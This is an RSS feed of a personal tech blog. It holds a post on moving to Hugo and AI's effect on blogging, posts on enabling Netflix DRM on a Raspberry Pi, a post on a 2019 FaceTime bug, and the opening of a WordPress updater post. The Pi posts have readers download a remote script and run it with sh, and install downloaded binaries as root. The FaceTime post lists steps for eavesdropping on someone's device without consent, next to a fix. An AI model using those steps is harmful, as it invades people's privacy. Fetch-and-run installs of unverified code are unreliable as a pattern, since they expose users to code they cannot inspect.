<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Posts on VPetkov.net</title>
    <link>https://vpetkov.net/posts/</link>
    <description>Recent content in Posts on VPetkov.net</description>
    <image>
      <title>VPetkov.net</title>
      <url>https://vpetkov.net/bsd_logo.png</url>
      <link>https://vpetkov.net/bsd_logo.png</link>
    </image>
    <generator>Hugo</generator>
    <language>en</language>
    <copyright>1999-{year} VPetkov.net - Take, Modify, Share, and I am in no way to be held responsible.</copyright>
    <lastBuildDate>Thu, 06 Aug 2026 17:50:12 -0400</lastBuildDate>
    <atom:link href="https://vpetkov.net/posts/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>The Internet Changed. So Did This Blog.</title>
      <link>https://vpetkov.net/2026/08/06/the-internet-changed-so-did-this-blog/</link>
      <pubDate>Thu, 06 Aug 2026 17:50:12 -0400</pubDate>
      <guid>https://vpetkov.net/2026/08/06/the-internet-changed-so-did-this-blog/</guid>
      <description>After years of maintaining a complex WordPress stack, Linux servers, a Datacenter Colo, and other infrastructure, I decided it was time to simplify—not just my website, but also what I write about.</description>
      <content:encoded><![CDATA[<p>After years of maintaining a complex WordPress-based blog, Linux servers, and a Datacenter Colo, I decided it was time to simplify. This new site is built with Hugo and focuses on one thing: making it easy to write and share ideas instead of spending my limited free time maintaining infrastructure. At the same time, I think we&rsquo;re at another inflection point on the internet—one where AI is changing not only <em>how</em> we build software, but also what kinds of technical content are worth publishing.</p>
<h2 id="why-start-over">Why Start Over?</h2>
<p>Over the years, life simply got busier.</p>
<p>Between work, family, and everything else that comes with life, the amount of uninterrupted time I have to spend on personal projects is much smaller than it used to be. When I <em>do</em> have a few free hours, I&rsquo;d much rather spend them building something interesting than maintaining the platform I&rsquo;m writing on.</p>
<p>My previous setup wasn&rsquo;t particularly fragile—in fact, almost everything was automated—but it had grown into a surprisingly large stack. Just to publish a simple post, I was effectively maintaining:</p>
<ul>
<li>Ubuntu</li>
<li>Apache</li>
<li>PHP</li>
<li>MySQL</li>
<li>WordPress</li>
<li>Themes</li>
<li>Plugins</li>
<li>Backups</li>
<li>Security updates and monitoring</li>
<li>IAM, authentication, SSO, and 2FA</li>
<li>Deployment and automation scripts</li>
</ul>
<p>That&rsquo;s a lot of infrastructure for what is, at its core, a collection of Markdown articles.</p>
<p>Eventually I realized I was spending more time maintaining the blog than writing for it. That wasn&rsquo;t the trade-off I wanted anymore.</p>
<h2 id="rediscovering-simplicity">Rediscovering Simplicity</h2>
<p>Over the last five to six years, I&rsquo;ve grown to appreciate the elegance of static websites.</p>
<p>Write in Markdown. Commit to Git. Deploy automatically.</p>
<p>That&rsquo;s really all I wanted.</p>
<p>That, and I still wanted complete control over how the site was built, deployed, and hosted. Hugo gives me that flexibility without adding complexity.</p>
<p>Modern static site generators offer incredible performance, security, scalability, and deployment flexibility—all with virtually no operational overhead. There&rsquo;s something satisfying about eliminating entire classes of problems simply by removing the technologies that create them. And perhaps most importantly, they eliminate an entire class of security concerns that come with running a dynamic web application.</p>
<p>In reality, I wasn&rsquo;t looking for a full-featured publishing platform anymore. I just wanted a place to quickly share interesting projects, technical deep dives, automation ideas, and the occasional how-to—a step above a collection of GitHub Gists.</p>
<h2 id="why-hugo">Why Hugo?</h2>
<p>When it came time to rebuild, I evaluated just about every major static site generator I could find, including Hugo, Jekyll, Gatsby, Eleventy, Hexo, Docusaurus, and MkDocs.</p>
<p>Each has its strengths, but Hugo checked all the boxes for me:</p>
<ul>
<li>Extremely fast builds</li>
<li>Simple Markdown-based workflow</li>
<li>Flexible templating</li>
<li>Minimal dependencies</li>
<li>Easy deployment to virtually any hosting provider</li>
</ul>
<p>I&rsquo;ll save the details for another post, but Hugo felt like the right balance between power and simplicity.</p>
<h2 id="the-internet-changed-again">The Internet Changed (Again)</h2>
<p>Years ago, if you wanted to figure out how to do something obscure, you were often on your own.</p>
<p>Maybe you wanted to compile a custom Android kernel, integrate a Perl script with Amazon SES, or get Widevine DRM working on a Raspberry Pi. Those projects often took an entire weekend of research, experimentation, trial and error, and digging through forum posts before you finally had something that worked.</p>
<p>Those were exactly the kinds of things I enjoyed writing about.</p>
<p>Today, that world looks very different.</p>
<p>Modern LLMs from OpenAI, Anthropic, and Google can often produce a working solution after just a few prompts. They aren&rsquo;t perfect, but they&rsquo;re remarkably good at answering the kinds of &ldquo;How do I&hellip;?&rdquo; questions that used to drive people to technical blogs, along with implementing technical solutions.</p>
<p>That&rsquo;s a good thing.</p>
<p>It also means the internet has changed—yet again.</p>
<p>A number of years ago, my college friend Mike Burns wrote an excellent post titled <em>&quot;<a href="https://mike-burns.com/gone.html">The Internet Is Gone</a>&quot;</em>, reflecting on how the web had evolved from the one we grew up with. Reading it today, I think we&rsquo;re in the middle of another major shift.</p>
<p>Search engines are no longer the primary destination for technical knowledge. Neither are blogs. Increasingly, people ask an AI assistant first and only reach for search engines when they need more context or verification.</p>
<p>That fundamentally changes the value of publishing another &ldquo;How to install X on Ubuntu&rdquo; tutorial.</p>
<h2 id="so-what-is-worth-writing">So What <em>Is</em> Worth Writing?</h2>
<p>Personally, I think straightforward technical tutorials have become a commodity.</p>
<p>That doesn&rsquo;t mean blogging is dead—it just means the interesting parts have shifted.</p>
<p>LLMs are excellent at synthesizing information that&rsquo;s already out there. They&rsquo;re much less effective at generating genuinely new experience.</p>
<p>If nobody has ever tried an approach before, measured the results, compared architectures, or documented the trade-offs, there isn&rsquo;t much for an AI to synthesize.</p>
<p>Someone still has to do the work.</p>
<p>The exciting part is that AI also helps us do that work faster. It accelerates research, helps validate ideas, writes code, reviews designs, and removes much of the repetitive effort involved in building something new. But it&rsquo;s still up to us to ask the right questions, run the experiments, evaluate the results, and share what we learn.</p>
<p>What still excites me are things that AI can&rsquo;t easily fully synthesize (yet):</p>
<ul>
<li>Experiments</li>
<li>Proofs of concept</li>
<li>Lessons learned</li>
<li>Architectural trade-offs</li>
<li>Unexpected failures</li>
<li>Surprising discoveries</li>
<li>Connecting ideas across different technologies</li>
<li>The bigger picture</li>
</ul>
<p>In other words, the kinds of things you only get by actually building something.</p>
<p>Those are the stories I want to tell.</p>
<h2 id="looking-ahead">Looking Ahead</h2>
<p>For the last five to six years, I&rsquo;ve been working almost exclusively with Generative AI.</p>
<p>During that time I&rsquo;ve built, evaluated, or advised on hundreds of projects, prototypes, and proof-of-concepts spanning a wide range of industries and use cases.</p>
<p>Some succeeded.</p>
<p>Some failed spectacularly.</p>
<p>Almost all of them taught me something.</p>
<p>I&rsquo;m hoping this blog becomes a place where I can share some of those lessons—not just prompts or snippets of code, but the design decisions, trade-offs, failures, surprises, and patterns that only become obvious after you&rsquo;ve built enough of these systems.</p>
<p>I&rsquo;ll still write about cloud infrastructure, automation, programming, open source, homelabs, and whatever technical rabbit hole I happen to be exploring.</p>
<p>The difference is that I probably won&rsquo;t spend three pages explaining how to configure a particular tool or reproduce every command I typed along the way. AI is remarkably good at filling in those details.</p>
<p>Instead, I&rsquo;d rather focus on <em>why</em> I chose a particular approach, what worked, what didn&rsquo;t, the trade-offs I discovered, and the lessons I learned while building it.</p>
<p>Those are the parts that I still find interesting—and, hopefully, useful to others.</p>
<h2 id="what-happened-to-the-old-blog">What Happened to the Old Blog?</h2>
<p>I&rsquo;ve archived my old site, but you can still browse all of the posts under the <a href="/tags/old-wordpress-blog/">Old WordPress Blog</a> tag, including the last article published on March 30, 2020.</p>
<p>There&rsquo;s still plenty of content there that&rsquo;s worth preserving, and it&rsquo;s also a fun snapshot of the technologies and approaches I was using over the years. Think of it as a small piece of personal—and internet—history.</p>
<h2 id="one-final-irony">One Final Irony</h2>
<p>Generative AI may have made many traditional technical blog posts less valuable, but it also makes writing <em>better</em> blog posts dramatically easier.</p>
<p>This article, for example, started as a handful of scattered notes and half-finished thoughts. AI helped organize them into something coherent while leaving the opinions, experiences, and perspective entirely my own.</p>
<p>I think that&rsquo;s a pretty good use of the technology.</p>
<hr>
<p>Welcome to the new site. It&rsquo;s cleaner, simpler, faster, and, most importantly, lets me spend less time maintaining infrastructure and more time experimenting, learning, and sharing what I discover along the way.</p>]]></content:encoded>
    </item>
    <item>
      <title>Raspberry Pi Netflix One Line Easy Install - along with Hulu, Amazon Prime, Disney Plus, HBO, Spotify, Pandora, and many others</title>
      <link>https://vpetkov.net/2020/03/30/raspberry-pi-netflix-one-line-easy-install-along-with-hulu-amazon-prime-disney-plus-hbo-spotify-pandora-and-many-others/</link>
      <pubDate>Mon, 30 Mar 2020 17:36:29 +0000</pubDate>
      <guid>https://vpetkov.net/2020/03/30/raspberry-pi-netflix-one-line-easy-install-along-with-hulu-amazon-prime-disney-plus-hbo-spotify-pandora-and-many-others/</guid>
      <description>&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Last Update: 3-13-21 | Official Raspberry Pi Package now available - see bellow&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Last Update: 11-9-20 | Updated ventz-media-pi for new Chromium version (v.84+) and new WideVine setup: v.4.10.1679.0+ NOTE: You MUST re-download and re-run it from this date to fix - lots of changes!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Last Update: 11-2-20 | Updated libwidevinecdm.so_.zip to v.4.10.1679.0 within ventz-media-pi&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Last Update: 7-22-20 | Updated .desktop with Chrome User Agent string for CrOS Chrome/77.0.3865.120&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Last Update: 7-20-20 | &lt;del&gt;redacted&lt;/del&gt; company reached out about creating an official package, also there are conversations happening with &lt;del&gt;redacted&lt;/del&gt; company about official support of the Pi&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Last Update: 5-6-20 | Specify that &amp;ldquo;Raspbian with desktop&amp;rdquo; is assumed and tested&lt;/strong&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<hr>
<p><strong>Last Update: 3-13-21 | Official Raspberry Pi Package now available - see bellow</strong></p>
<p><strong>Last Update: 11-9-20 | Updated ventz-media-pi for new Chromium version (v.84+) and new WideVine setup: v.4.10.1679.0+ NOTE: You MUST re-download and re-run it from this date to fix - lots of changes!</strong></p>
<p><strong>Last Update: 11-2-20 | Updated libwidevinecdm.so_.zip to v.4.10.1679.0 within ventz-media-pi</strong></p>
<p><strong>Last Update: 7-22-20 | Updated .desktop with Chrome User Agent string for CrOS Chrome/77.0.3865.120</strong></p>
<p><strong>Last Update: 7-20-20 | <del>redacted</del> company reached out about creating an official package, also there are conversations happening with <del>redacted</del> company about official support of the Pi</strong></p>
<p><strong>Last Update: 5-6-20 | Specify that &ldquo;Raspbian with desktop&rdquo; is assumed and tested</strong></p>
<p><strong>Last Update: 4-7-20 | Fixed screen tearing</strong></p>
<hr>
<p>Great News - This can finally be announced:) - There is now an official Raspberry Package with this work!!</p>
<p>Setup everything here with:</p>
<pre tabindex="0"><code>sudo apt update
sudo apt full-upgrade
sudo apt install libwidevinecdm0
</code></pre><p>Everything from here down is the &ldquo;pre-official-raspberry-package&rdquo; info:</p>
<p>If you just want to take a Raspberry Pi 4 (as of today!) and turn it into a fully functional &ldquo;Media&rdquo; center by just pasting one line, here it is:</p>
<p>SSH to your Pi (don&rsquo;t run from the Pi console if you want pretty graphics :)) and run:</p>
<pre tabindex="0"><code>curl -fsSL https://pi.vpetkov.net -o ventz-media-pi
sh ventz-media-pi
</code></pre><p>This will produce the following (click to see larger image):<br>
<a href="https://media.vpetkov.net/wp-content/uploads/2020/04/ventz-media-pi.png"><img alt="Media Pi launcher showing Netflix, Hulu, Amazon Prime, and other streaming apps" height="157" loading="lazy" src="https://media.vpetkov.net/wp-content/uploads/2020/04/ventz-media-pi-300x157.png" width="300"></a></p>
<p>Reboot, and then from the <strong>Application Menu</strong> (top left) -&gt; go to &ldquo;<strong>Internet</strong>&rdquo; -&gt; open &ldquo;<strong>Chromium (Media Edition)</strong>&rdquo;</p>
<p>You are now ready to use your Raspberry Pi on Netflix, Hulu, Amazon Prime, Disney Plus, HBO, Spotify, Pandora, and many others.</p>
<p>If you need to change any browser <em><strong>Settings</strong></em>, do so via the &ldquo;Chromium&rdquo; browser and <strong>not</strong> the &ldquo;Chromium (Media Edition) - both are the same browser, so the settings are the same. The &ldquo;Media Edition&rdquo; (just a custom launcher with the user-agent) cannot load the settings since Chromium thinks you are launching it on &ldquo;Chrome OS&rdquo;, and when it checks for the Chrome OS language settings it crashes since they don&rsquo;t exist.</p>
<p>At last, all this assumes the latest version of Raspbian with desktop (not Debian/Ubuntu! -<br>
<a href="https://downloads.raspberrypi.org/raspbian_latest">https://downloads.raspberrypi.org/raspbian_latest</a>), and you can re-run the <strong>curl and sh</strong> as many times as you want without any harm.</p>
<p>If you are curious about some of the background and details on why you can&rsquo;t easily run Netflix (and others) on your Pi and how to solve it, you are welcome to go look at my &ldquo;development&rdquo; blog post article: <a href="/2019/07/12/netflix-and-spotify-on-a-raspberry-pi-4-with-latest-default-chromium/">vpetkov.net/2019/07/12/netflix-and-spotify-on-a-raspberry-pi-4-with-latest-default-chromium/</a></p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Netflix and Spotify on a Raspberry Pi 4 with Latest Default Chromium</title>
      <link>https://vpetkov.net/2019/07/12/netflix-and-spotify-on-a-raspberry-pi-4-with-latest-default-chromium/</link>
      <pubDate>Sat, 13 Jul 2019 02:03:28 +0000</pubDate>
      <guid>https://vpetkov.net/2019/07/12/netflix-and-spotify-on-a-raspberry-pi-4-with-latest-default-chromium/</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;As of 3-30-2020, if you want the &amp;ldquo;paste-one-line-it-just-works&amp;rdquo; go to:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://vpetkov.net/2020/03/30/raspberry-pi-netflix-one-line-easy-install-along-with-hulu-amazon-prime-disney-plus-hbo-spotify-pandora-and-many-others/&#34;&gt;vpetkov.net/2020/03/30/raspberry-pi-netflix-one-line-easy-install-along-with-hulu-amazon-prime-disney-plus-hbo-spotify-pandora-and-many-others/&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;^^^ Please use the post linked above for my &amp;ldquo;one-line it just works&amp;rdquo; install ^^^&lt;/strong&gt;&lt;br&gt;
(Ignore everything bellow this, as it&amp;rsquo;s the original development work)&lt;/p&gt;</description>
      <content:encoded><![CDATA[<blockquote>
<p>As of 3-30-2020, if you want the &ldquo;paste-one-line-it-just-works&rdquo; go to:</p>
<p><a href="/2020/03/30/raspberry-pi-netflix-one-line-easy-install-along-with-hulu-amazon-prime-disney-plus-hbo-spotify-pandora-and-many-others/">vpetkov.net/2020/03/30/raspberry-pi-netflix-one-line-easy-install-along-with-hulu-amazon-prime-disney-plus-hbo-spotify-pandora-and-many-others/</a></p>
</blockquote>
<p><strong>^^^ Please use the post linked above for my &ldquo;one-line it just works&rdquo; install ^^^</strong><br>
(Ignore everything bellow this, as it&rsquo;s the original development work)</p>
<hr>
<p><strong>Everything from this point down is out of date as of: 3-30-2020</strong></p>
<p>This was my initial &ldquo;netflix on the raspberry pi 4 development&rdquo; blog post. Leaving it on here due to the comments, initial work, info for those interested, but I highly recommend using the easy method above (linked).</p>
<p>Last libwidevine extract: 3-29-2020 - v.4.10.1610.6 of libwidevine - EVERYTHING CONFIRMED WORKING</p>
<p>Chromium has made substantial changes the way libwidevine (and a few major things around DRM) are loaded/used/etc. They have also made changes to the setting and reading of the user-agent propagation. For some time (~2 months or so) - the combination of this badly broke Netflix. It seems they have undone the lib loading in the last couple of versions, and user @Spartacuss discovered the user-agent fix.</p>
<p>The instructions here (as of 3-29-2020) work for: Netflix, Hulu, HBO, Disney+, Amazon Prime, Spotify, Pandora, and many others.</p>
<p>The Raspberry Pi 4 model with 4GB of RAM is the first cheap hardware that can provide a real &ldquo;desktop-like&rdquo; experience when browsing the web/watching Netflix/etc. However, if you have tried to run Netflix on the Pi, you have quickly entered the disgusting mess that exists around DRM, WideVine (Netflix being one example of something that needs it), and Chromium.</p>
<p>After hours and hours of effort, I finally discovered a quick and elegant solution that lets you use the <strong>latest default provided Chromium browser</strong>, without having to recompile anything in order to watch any WideVine/DRM (Netflix, Spotify, etc) content.</p>
<h2 id="background-and-the-drm-problem">Background and the DRM Problem</h2>
<p>If you are not familiar with this, the short version is that Netflix (and many others, ex: Spotify) use the WideVine &ldquo;Content Protection System&rdquo; - aka DRM, and if you want to watch Netflix or something else that uses it, you need to have a WideVine plugin+browse supported integration. Chrome, Firefox, and Safari make it available for x86/amd64 systems, but not for ARM since technically they don&rsquo;t have ARM builds.</p>
<p>Chromium, the project Chrome is based on, does have an ARM build, but it does not include any DRM support, and technically it does not include widevine support by default (*caveat here, which helps us later)<br>
So long story short, the question becomes &ldquo;how do you enable DRM/WideVine support in Chromium?&rdquo;.</p>
<p>It seems there are two main solutions out there: use an old (v51, 55, 56, 60) version of Chromium which has been &ldquo;patched&rdquo; with widevine support (kusti8&rsquo;s version seems to be the most popular one - except since the new Netflix changes, that also does not work), which requires uninstalling the latest Chromium available, installing the old/patched one, and dropping in older widevine plugins; the second option is to use Vivaldi - a proprietary fork of Opera which also has been &ldquo;sort of patched&rdquo;, but it still needs a valid libwidevinecdm plugin (see bellow) and it has it&rsquo;s own issues (and also&hellip;it&rsquo;s Opera&hellip;in 2019&hellip;who uses Opera?)</p>
<p>After a lot of research and trial and error, I discovered a much more elegant solution - use the extracted ChromeOS (armv7l - yay) binaries and insert them into Chromium + make everything think it&rsquo;s ChromeOS (user agent)</p>
<h2 id="netflixhuluspotify-with-the-default-raspberry-pi-chromium-browser">Netflix/Hulu/Spotify with the Default Raspberry Pi Chromium Browser</h2>
<p><strong>Enough theory - let&rsquo;s do this in 2 quick steps!</strong><br>
0.) If you have tried Netflix/etc already, open Chromium and clear your browser history + cookies. Otherwise it will cache the &ldquo;failed&rdquo; DRM components.</p>
<p><strong>1.) Download the latest extracted ChromeOS <a href="https://media.vpetkov.net/wp-content/uploads/2020/03/libwidevinecdm.so_.zip">libwidevine</a> binary and extract it:</strong></p>
<pre tabindex="0"><code>$ sudo su
# cd /usr/lib/chromium-browser
# wget https://media.vpetkov.net/wp-content/uploads/2020/03/libwidevinecdm.so_.zip
# unzip libwidevinecdm.so_.zip &amp;&amp; chmod 755 libwidevinecdm.so
# wget https://media.vpetkov.net/wp-content/uploads/2020/03/chromium-media-browser.desktop.zip
# unzip chromium-media-browser.desktop.zip &amp;&amp; mv chromium-media-browser.desktop /usr/share/applications
</code></pre><p>NOTE: Credit and thanks to @Spartacuss for discovering user-agent method with .desktop file!</p>
<p>NOTE: You can verify that these are the <em><strong>official</strong></em> versions from ChromeOS:<br>
<em><a href="https://dl.google.com/dl/edgedl/chromeos/recovery/chromeos">https://dl.google.com/dl/edgedl/chromeos/recovery/chromeos</a>_12739.105.0_elm_recovery_stable-channel_mp-v2.bin.zip</em></p>
<p>NOTE: UPDATED (Last re-extracted from ChromeOS on: 3-23-20)<br>
version: 4.10.1610.6 (see optional script below how to check version)<br>
filename: <em>libwidevinecdm.so</em><br>
md5sum: <em>6857e5f102651bfa977eb739b86bf75e</em><br>
sha256sum: <em>678c21b5ebf459919f9dcde100af8f59e580b6bed56b1cae1ae5eb43a7029e17</em></p>
<p><strong>2.) Completely QUIT all Chromium windows.</strong><br>
Start Chromium with the new Application Menu under &ldquo;Internet&rdquo;: <strong>Chromium (Media Edition)</strong><br>
<del>Open a new tab, and go to: <a href="https://bitmovin.com/demos/drm">https://bitmovin.com/demos/drm</a> You should be able to see the movie on the left.</del>(While this still works, it will show &ldquo;No DRM&rdquo; unless you set the Chromium user-agent from within the app - which breaks Netflix. BitMoving unfortunately looks for that first. Just go to Netflix/Your media source directly.)<br>
You can now play Netflix, Hulu, HBO, Spotify, Pandora, Disney+, Amazon Prime, and many others!</p>
<p>Please note that If you can see the video on the left, this means the DRM plugin has worked! From this point on, anything that does not work (ex: Netflix sometimes breaks after a browser update) is due to the site specifically filtering User Agents/doing other &ldquo;tricks&rdquo;. So for example, if Netflix does not work, Spotify, Pandora, Hulu, Amazon Prime, HBO, etc will still work. <del>The BitMovin website is the &ldquo;real&rdquo; test on wether the DRM plugin has worked.</del>(While still technically true, if your Chromium user-agent is not set from within the app itself, which breaks Netflix, BitMovin will show &ldquo;No DRM&rdquo; even though the DRM decryption works)</p>
<h2 id="solution-for-the-occasional-screen-tearing">Solution for the occasional &ldquo;screen tearing&rdquo;</h2>
<p>Updated: 4-7-2020</p>
<pre tabindex="0"><code>$ sudo rm /etc/xdg/autostart/xcompmgr.desktop
$ sudo reboot
</code></pre><p>It seems the Pi&rsquo;s raw CPU frequency is still not powerful enough for decoding 100% of the time. While 97-98% of the time is good enough, you will get the occasional &ldquo;screen tearing&rdquo; (<a href="https://en.wikipedia.org/wiki/Screen_tearing)">https://en.wikipedia.org/wiki/Screen_tearing)</a>, especially in scenes with fast motion.</p>
<p>~~Users Otaku, DM (and thanks to Luca for testing/extra info!) have found a solution which was mentioned on <a href="https://lb.raspberrypi.org/forums/viewtopic.php?t=246179">https://lb.raspberrypi.org/forums/viewtopic.php?t=246179</a> by user Greysvandir.<br>
I had to add a few more things and I created a compressed and slightly automated 😉 version:<br>
# sudo apt install -f compton<br>
$ mkdir -p ~/.config/lxsession/LXDE-pi<br>
$ cd ~/.config &amp;&amp; wget <a href="https://raw.githubusercontent.com/dastorm/Compton-xfce-config/master/compton.conf">https://raw.githubusercontent.com/dastorm/Compton-xfce-config/master/compton.conf</a><br>
$ cp -f /etc/xdg/lxsession/LXDE-pi/autostart ~/.config/lxsession/LXDE-pi/autostart<br>
$ echo &ldquo;@usr/bin/compton &ndash;backend glx&rdquo; &raquo; <del>/.config/lxsession/LXDE-pi/autostart<br>
$ echo &ldquo;xrandr &ndash;output HDMI-1 &ndash;mode 1280x720&rdquo; &raquo; <del>/.config/lxsession/LXDE-pi/autostart<br>
The result is no tearing with 1080p@60fps video.</del></del></p>
<h2 id="optional-get-libwidevinecdm-version">(Optional) Get libwidevinecdm version</h2>
<p>If you want to check your *actual* libwidevinecdm version, the easiest and quickest way is using user VMX&rsquo;s elegant python solution:</p>
<pre tabindex="0"><code># cd /usr/lib/chromium-browser
# python -c &#39;import ctypes;
&gt; lib = ctypes.cdll.LoadLibrary(&#34;./libwidevinecdm.so&#34;);
&gt; lib.GetCdmVersion.restype = ctypes.c_char_p;
&gt; print(lib.GetCdmVersion())&#39;
</code></pre><p>This will give you the version:<br>
4.10.1610.6</p>
<p>Alternatively, if for some reason you want to, you can compile a binary (C) checker by:</p>
<p>a.) Create a file called &ldquo;<strong>get_cdm_version.c</strong> with:</p>
<pre tabindex="0"><code>#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;dlfcn.h&gt;
int main(int argc, char *argv[]) {
  void *handle;
  const char *(*get_cdm_version)();

  handle = dlopen(&#34;./libwidevinecdm.so&#34;, RTLD_LAZY);
  if (!handle) {
    fprintf(stderr, &#34;%s\n&#34;, dlerror());
    exit(EXIT_FAILURE);
  }

  get_cdm_version = dlsym(handle, &#34;GetCdmVersion&#34;);
  if (!get_cdm_version) {
    fprintf(stderr, &#34;%s\n&#34;, dlerror());
    exit(EXIT_FAILURE);
  }

  printf(&#34;%s\n&#34;, get_cdm_version());
  dlclose(handle);
  exit(EXIT_SUCCESS);
}
</code></pre><p>b.) Compile the binary with: <strong>gcc get_cdm_version.c -o get_cdm_version -ldl</strong></p>
<p>If you want a binary version for some reason (I don&rsquo;t know why you would given python method), and you can&rsquo;t compile it yourself, and you trust me (why?!), feel free to grab my already compiled version:</p>
<pre tabindex="0"><code>$ wget https://media.vpetkov.net/wp-content/uploads/2020/03/get_cdm_version.zip
$ unzip -f get_cdm_version.zip
$ chmod 755 get_cdm_version
</code></pre><p>c.) Place a copy of the libwidevinecdm.so in the same directory as your binary<br>
d.) Run it</p>
<pre tabindex="0"><code>./get_cdm_version
4.10.1610.6
</code></pre><p>^^ Here the Version is: 4.10.1610.6</p>
<h2 id="optional-older-versions">(Optional) Older Versions</h2>
<p>Here are the last few OLDER versions in case you need them (note the unique date in the url):<br>
<a href="https://media.vpetkov.net/wp-content/uploads/2019/09/libwidevinecdm.so_.zip">libwidevinecdm.so (2019/09)</a><br>
<a href="https://media.vpetkov.net/wp-content/uploads/2019/08/libwidevinecdm.so_.zip">libwidevinecdm.so (2019/08)</a><br>
<a href="https://media.vpetkov.net/wp-content/uploads/2019/07/libwidevinecdm.so_.zip">libwidevinecdm.so (2019/07)</a></p>]]></content:encoded>
    </item>
    <item>
      <title>Massive Apple FaceTime vulnerability - turn any iPhone/iPad into a remote audio listening device</title>
      <link>https://vpetkov.net/2019/01/28/massive-apple-facetime-vulnerability-turn-any-iphone-ipad-into-a-remote-audio-listening-device/</link>
      <pubDate>Tue, 29 Jan 2019 03:16:35 +0000</pubDate>
      <guid>https://vpetkov.net/2019/01/28/massive-apple-facetime-vulnerability-turn-any-iphone-ipad-into-a-remote-audio-listening-device/</guid>
      <description>&lt;p&gt;If you did not know about this - you should be &lt;strong&gt;very&lt;/strong&gt; worried.&lt;/p&gt;
&lt;p&gt;A few hours ago it was discovered that Apple&amp;rsquo;s FaceTime app allows anyone to connect to any Apple device that supports FaceTime and hear their audio without the person ever accepting the call. What&amp;rsquo;s worse (debatably?) is that it is incredibly easy to do this.&lt;/p&gt;
&lt;h2 class=&#34;wp-block-heading&#34; id=&#34;listen-in-on-any-remote-apple-device-in-4-steps&#34;&gt;Listen-in on any remote Apple device in 4 steps&lt;/h2&gt;
&lt;p&gt;1.) Start a FaceTime call with someone&lt;br&gt;
2.) While the call is &amp;ldquo;connecting&amp;rdquo;, quickly swipe up on the FaceTime menu&lt;br&gt;
3.) Click on the &amp;ldquo;+ Add Person&amp;rdquo;&lt;br&gt;
4.) Add your own phone number/contact&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>If you did not know about this - you should be <strong>very</strong> worried.</p>
<p>A few hours ago it was discovered that Apple&rsquo;s FaceTime app allows anyone to connect to any Apple device that supports FaceTime and hear their audio without the person ever accepting the call. What&rsquo;s worse (debatably?) is that it is incredibly easy to do this.</p>
<h2 class="wp-block-heading" id="listen-in-on-any-remote-apple-device-in-4-steps">Listen-in on any remote Apple device in 4 steps</h2>
<p>1.) Start a FaceTime call with someone<br>
2.) While the call is &ldquo;connecting&rdquo;, quickly swipe up on the FaceTime menu<br>
3.) Click on the &ldquo;+ Add Person&rdquo;<br>
4.) Add your own phone number/contact</p>
<p>What happens at this point is that the call is &ldquo;bridged&rdquo; and a remote audio line is open to the destination Apple device.</p>
<p>Yes - really! You have now turned the remote Apple device into a remote audio tap/bug. You can choose to keep a 2-way audio channel, or mute it from your side.</p>
<p>Update #1: Apparently it works on Mac OS Mojave too.</p>
<h2 class="wp-block-heading" id="temporary-fix---disable-facetime">Temporary Fix - disable FaceTime</h2>
<p>As of right now, until Apple patches this, the only fix is to disable FaceTime:</p>
<h3 class="wp-block-heading" id="ios">iOS</h3>
<p>1.) open &ldquo;Settings&rdquo;<br>
2.) click on &ldquo;FaceTime&rdquo;<br>
3.) toggle it &ldquo;off&rdquo; (green toggle -&gt; to white)</p>
<h3 class="wp-block-heading" id="mac-os-mojave">Mac OS Mojave</h3>
<p>1.) open &ldquo;FaceTime&rdquo; app<br>
2.) press &ldquo;command + K&rdquo;<br>
or<br>
2.) click on the top-left menu bar with the app name &ldquo;FaceTime&rdquo;, and select &ldquo;Turn FaceTime Off&rdquo;</p>
]]></content:encoded>
    </item>
    <item>
      <title>Easy fully automated WordPress plugin update system</title>
      <link>https://vpetkov.net/2018/09/30/easy-fully-automated-wordpress-plugin-update-system/</link>
      <pubDate>Sun, 30 Sep 2018 08:07:05 +0000</pubDate>
      <guid>https://vpetkov.net/2018/09/30/easy-fully-automated-wordpress-plugin-update-system/</guid>
      <description>&lt;p&gt;A long time ago I became frustrated with having to update my WordPress plugins manually, so I created a Perl script and a blog post (&lt;a href=&#34;https://vpetkov.net/2011/08/03/script-to-upgrade-plugins-on-wordpress-to-the-latest-version-fully-automatically/&#34;&gt;vpetkov.net/2011/08/03/script-to-upgrade-plugins-on-wordpress-to-the-latest-version-fully-automatically/&lt;/a&gt;) that explained how to automate this. The idea was quite simple: feed a plugin name, have the script check the WordPress plugins page for the latest versioned download, grab it, and extract it over the specified blog plugins directory and thus update the plugin.&lt;/p&gt;
&lt;p&gt;The script was simple and it worked very well. It made dealing with plugins many times easier. However, there was one big down side as some users pointed out - it did not actually check if a plugin needed to be updated. It blindly replaced the current plugin with the latest version. This meant that there was no way to &amp;ldquo;efficiently&amp;rdquo; automate it. If you cron-ed it directly, it would simply pull and update all your plugins at whatever period you specified. For the longest time this really irritated me, but I didn&amp;rsquo;t have time to dig through WordPress to understand how the engined checked and signaled for local plugins. One particular user (&lt;a href=&#34;http://blog.droidzone.in/2013/03/31/automatically-update-all-wordpress-plugins-from-bash/&#34;&gt;Joel&lt;/a&gt;) forked a copy and made many improvements to deal with this specific issue.&lt;/p&gt;
&lt;p&gt;As time went on, I decided to look at this problem again. A couple of years ago I solved it in a really elegant way, but I didn&amp;rsquo;t have time to update the blog post. A few days ago, after looking at the blog statistics, I realized that the WordPress article was one of the top 10 most popular ones. So, with that said, here is:&lt;/p&gt;
&lt;h2 id=&#34;a-new-simple-and-elegant-solution&#34;&gt;A new simple and elegant solution&lt;/h2&gt;
